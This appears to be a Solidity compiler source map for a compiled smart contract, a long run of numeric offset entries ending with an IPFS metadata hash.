1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5301:251::-;5371:6;5424:2;5412:9;5403:7;5399:23;5395:32;5392:52;;;5440:1;5437;5430:12;5392:52;5472:9;5466:16;5491:31;5516:5;5491:31;:::i;6478:306::-;6566:6;6574;6582;6635:2;6623:9;6614:7;6610:23;6606:32;6603:52;;;6651:1;6648;6641:12;6603:52;6680:9;6674:16;6664:26;;6730:2;6719:9;6715:18;6709:25;6699:35;;6774:2;6763:9;6759:18;6753:25;6743:35;;6478:306;;;;;:::o;7068:277::-;7135:6;7188:2;7176:9;7167:7;7163:23;7159:32;7156:52;;;7204:1;7201;7194:12;7156:52;7236:9;7230:16;7289:5;7282:13;7275:21;7268:5;7265:32;7255:60;;7311:1;7308;7301:12;9732:125;9797:9;;;9818:10;;;9815:36;;;9831:18;;:::i;10217:135::-;10256:3;10277:17;;;10274:43;;10297:18;;:::i;:::-;-1:-1:-1;10344:1:1;10333:13;;10217:135::o;10705:131::-;10765:5;10794:36;10821:8;10815:4;10794:36;:::i;10841:128::-;10908:9;;;10929:11;;;10926:37;;;10943:18;;:::i;11106:127::-;11167:10;11162:3;11158:20;11155:1;11148:31;11198:4;11195:1;11188:15;11222:4;11219:1;11212:15;11238:980;11500:4;11548:3;11537:9;11533:19;11579:6;11568:9;11561:25;11605:2;11643:6;11638:2;11627:9;11623:18;11616:34;11686:3;11681:2;11670:9;11666:18;11659:31;11710:6;11745;11739:13;11776:6;11768;11761:22;11814:3;11803:9;11799:19;11792:26;;11853:2;11845:6;11841:15;11827:29;;11874:1;11884:195;11898:6;11895:1;11892:13;11884:195;;;11963:13;;-1:-1:-1;;;;;11959:39:1;11947:52;;12054:15;;;;12019:12;;;;11995:1;11913:9;11884:195;;;-1:-1:-1;;;;;;;12135:32:1;;;;12130:2;12115:18;;12108:60;-1:-1:-1;;;12199:3:1;12184:19;12177:35;12096:3;11238:980;-1:-1:-1;;;11238:980:1:o;12223:217::-;12263:1;12289;12279:132;;12333:10;12328:3;12324:20;12321:1;12314:31;12368:4;12365:1;12358:15;12396:4;12393:1;12386:15;12279:132;-1:-1:-1;12425:9:1;;12223:217::o

ipfs://c3f9e86cc7b00cd504b3c7621a8459cdaefa10465c61e00515cb4c1ac28d61ad